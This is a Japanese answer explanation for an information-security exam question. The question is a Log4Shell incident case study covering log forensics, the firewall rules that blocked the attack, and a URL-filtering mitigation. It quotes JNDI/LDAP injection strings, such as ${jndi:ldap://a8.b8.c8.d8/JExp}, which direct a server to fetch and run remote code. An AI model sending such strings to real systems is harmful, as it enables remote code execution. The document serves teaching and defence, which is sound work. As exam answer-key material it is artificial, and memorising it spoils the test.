令和4年秋期試験 午後Ⅰ 問2 - 解説

出題趣旨
日々発見される新たな脆弱性に対し,運用者が脆弱性の影響を確認し,必要な対策を行うことは重要である。しかし,全ての脆弱性が攻撃者より早く発見され,運用者が必要な対策を行えるとは限らないので,攻撃者が未修正の脆弱性を悪用するリスクについても考慮しておく必要がある。本問では,ソフトウェアの脆弱性に起因するセキュリティインシデントへの対応を題材に,攻撃者の痕跡を調査し,影響を把握する能力及びセキュリティ侵害を前提とした適切なアクセス制御を設計する能力を問う。

設問1

    • a: a3.b3.c3.d3
aについて〕
runプロセスが通信していた相手先ホストのIPアドレスが問われています。プロセスとは、コンピュータ上で動く実行中のプログラムのことです。

まず表3の予約サーバのプロセス一覧を見ると、runプロセスのプロセスIDは200であることがわかります。次に、表4の予約サーバのコネクション一覧を確認すると、プロセスID200が行った通信が1件あり、その相手先IPアドレスとしてa3.b3.c3.d3が記録されています。したがって、このa3.b3.c3.d3を答えればよいことになります。

a=a3.b3.c3.d3

設問2

    • runプロセスの親プロセスがTソフトのプロセスであるから
    • b: 13:04:32
    • c: 13:05:50
    • d: a8.b8.c8.d8
    • e: LDAP
    • f: JExp
  • runプロセスが動作している原因を調べるに当たって、なぜTソフトを調査対象とできるのか、その理由を問われています。

    まず表3を見ると、runプロセスの親プロセスIDは100と記載されています。プロセスID100の名称は「java BSoftMain」であり、本文中の「普段予約サーバでは,BSoftMainとSBMainというTソフトのプロセスが稼働している」という記述から、BSoftMainはTソフトに属するプロセスであるとわかります。

    OSでは、新しく起動したプロセスには必ず親プロセスがあり、親プロセスから子プロセスが生成されます。表3の情報を踏まえると、runプロセスはTソフトのプロセスであるjava BSoftMainから生成された子プロセスだと判断できます。そのため、正体不明のrunプロセスが稼働している原因を追究するには、それを生成したTソフトのプロセスを調査すべきとなります。したがって、理由は「runプロセスの親プロセスがTソフトのプロセスであるから」です。

    ∴runプロセスの親プロセスがTソフトのプロセスであるから

  • bについて〕
    攻撃者が予約サーバに向けて通信を行った時刻を答えます。

    図2によれば、本問の脆弱性Yは、Javaのログ出力ライブラリにおいて、ログ出力対象の文字列の中にJNDI参照の書式を含めると、ライブラリが外部のLDAPサーバなどにアクセスしてしまい、その結果として外部から提供されたクラスを読み込み実行できてしまう、というものです。この脆弱性はログ出力ライブラリのApache Log4jに存在していた「Log4Shell」として知られています。

    図2の攻撃例では、攻撃者は${jndi:ldap://・・・}を含むHTTPリクエストを送るとありますから、このリクエストが観測された時点が、攻撃者が予約サーバに通信した時刻となります。表5の予約サーバのアクセスログを見ると、時刻13:04:32にユーザーエージェントが${jndi:ldap://a4.b4.c4.d4/Exploit}であるHTTPリクエストが記録されています。ユーザーエージェントとは本来、利用者のブラウザやOSの種類、バージョンなど、アクセス元のクライアントソフトウェアを示す識別情報です(アクセスログの記録対象)。ここに${jndi:ldap://・・・}のようなディレクトリアクセス用の式がそのまま含まれることは通常あり得ず、この文字列は明らかに攻撃目的で埋め込まれた不正なものと判断できます。

    以上から、攻撃者が予約サーバに対して通信した時刻は13:04:32となります。したがって、空欄bには「13:04:32」が入ります。

    b=13:04:32

    cdeについて〕
    表7番号1では${jndi:ldap://・・・}を含むHTTPリクエストを受け、番号3ではその直前の番号2の応答に含まれるURLに対してHTTP通信を行っています。図2の攻撃手順と照らし合わせると、番号2は番号1の通信ログを記録する過程で、ライブラリXがLDAPサーバにクエリを送る処理に対応することがわかります。したがって、空欄eのサービス名には「LDAP」となります。

    表6中を見ると、LDAP通信が記録されているのは、13:05:50の宛先 a8.b8.c8.d8 に対する通信で、これが上記のリクエストに該当します。したがって、空欄d(時刻)は「13:05:50」、空欄d(宛先)には「a8.b8.c8.d8」が当てはまります。

    c=13:05:50
     d=a8.b8.c8.d8
     e=LDAP

    fについて〕
    図2の攻撃手順を整理します。
    1. 攻撃者は、${jndi:ldap://a4.b4.c4.d4/Exploit}を含むHTTPリクエストを標的サーバに送信する
    2. 標的サーバは、脆弱性YによりIPアドレス a4.b4.c4.d4 のサーバに対し、LDAPで"Exploit"というクエリが送信される
    3. LDAPサーバは、別のHTTPサーバ(a5.b5.c5.d5)のリソースを取得するよう指示する
    4. 標的サーバは、HTTPサーバの指示に従い、"JClass"を取得し、実行する
    5. "JClass"は、a6.b6.c6.d6からマルウェア"malwarex"を取得し、実行する
    表5のアクセスログは、上記の手順1に対応していて、攻撃対象文字列は${jndi:ldap://a8.b8.c8.d8/JExp}となっています。上記の攻撃文字列を手順2の動作に対応させると、以下のように読み取れます。
    • サーバのIPアドレスはa8.b8.c8.d8
    • クエリ名はURLのパス部分にあたるJExp
    したがって、手順2でLDAPに対して送るクエリは「JExp」となります。

    f=JExp
    pm1_2_1.png

設問3

    • ログ出力処理する文字列中に攻撃文字列が含まれれば悪用可能だから
    • 会員サーバからインターネット宛てのLDAP通信が許可されていないから
  • ライブラリXはログ出力の際に、文字列中の特定の書式を解釈して外部のLDAPサーバへ接続し、その結果に応じて処理を続行します。攻撃者はこの仕組みを悪用し、ログに出力される文字列の中へ攻撃文字列を紛れ込ませることで、ログ出力処理のタイミングで不正な処理を実行させます。

    会員サーバについての記述にもあるように、ライブラリXはログイン前のアクセスログ出力にも利用されています。Webサーバのアクセスログは、受け付けたリクエストが正常に処理されたかどうかにかかわらず記録されるため、認証前の状態でもログに記録させることは可能です。したがって、認証前でも悪用できる理由は、「ログに出力される文字列に攻撃文字列が含まれていれば成立するから」となります。

    ∴ログ出力処理する文字列中に攻撃文字列が含まれていれば悪用可能だから

  • 図2の攻撃例では、攻撃者が標的サーバに攻撃文字列を含むHTTPリクエストを送信し、その内容がログに出力されると攻撃が発動します。この際、標的サーバはインターネット上のLDAPサーバに対してLDAPクエリを送信し、攻撃用クラスを取得するという流れです。つまり、この攻撃が成立するためには、標的サーバからインターネット上のサーバに対してLDAP通信が行えることが前提になります。

    ここで表2のFWルールを見ると、DMZ上の予約サーバからインターネット宛ての通信に関しては、項番2のルールによって全て許可されています。そのため、予約サーバに対する攻撃は成功しています。これに対して、会員サーバからインターネットへの通信は、項番1の応答パケットを除いて許可されていません。会員サーバ上からインターネット宛てにLDAP通信を行おうとしてもFWで遮断されるため、攻撃用クラスを取得する処理は途中で失敗します。これが、図2のような形で攻撃を完了できない理由です。

    ∴会員サーバからインターネット当てのLDAP通信が許可されていないから

設問4

    • g: 予約サーバ
    • h: SNS投稿用のサーバのURL
    • i: 全て
ghiについて〕
再発防止策では、まずFWのフィルタリングルールを見直し、表2の項番2を削除するとあります。項番2は、予約サーバからインターネットに向けた全ての通信を許可するルールなので、これを削除すると、予約サーバからインターネットへの通信は行えなくなります。残るのは、インターネット側からのHTTPSリクエストに対する応答など、すでに許可されている通信だけです。

しかし、表1の機能概要では、予約サーバはクラウド上の複数のSNS投稿用サーバに対して、定期的にHTTPSで空き状況を投稿する役割を持っています。項番2を削除した場合、この正当なSNS投稿の通信まで遮断されてしまい、業務に支障が出ます。そこで、インターネット宛ての通信を全面的に許可するのではなく、プロキシサーバのURLフィルタリング機能を使って、予約サーバからの通信先を必要最小限のURLに絞り込みます。

本文によれば、一つのURLフィルタリングルールは、接続元サーバと、許可リスト及び拒否リストから構成されます。また、拒否リストに「全て」を指定すると、許可リストに挙げたURL以外への通信が全て拒否される仕様です。この仕様を用いて、まず接続元サーバには、SNS投稿を行う予約サーバだけを指定します。これが空欄gに入る「予約サーバ」です。次に、予約サーバからインターネット上で通信を許可したいのは、業務上必要なSNS投稿用サーバだけなので、許可リストにはそのURLを指定します。よって、空欄hには「SNS投稿用のサーバのURL」が入ります。最後に、SNS投稿用サーバ以外への通信は不要であり、かつ攻撃の再発防止のために禁止したいので、拒否リスト(空欄i)には「全て」を指定してホワイトリスト方式にします。

これにより、予約サーバからインターネット宛ての通信は限定的となり、今回のような攻撃を受けても、LADP応答に含まれるURLにアクセスする段階で攻撃を防ぐことができます。

g=予約サーバ
 h=SNS投稿用のサーバのURL
 i=全て

Pagetop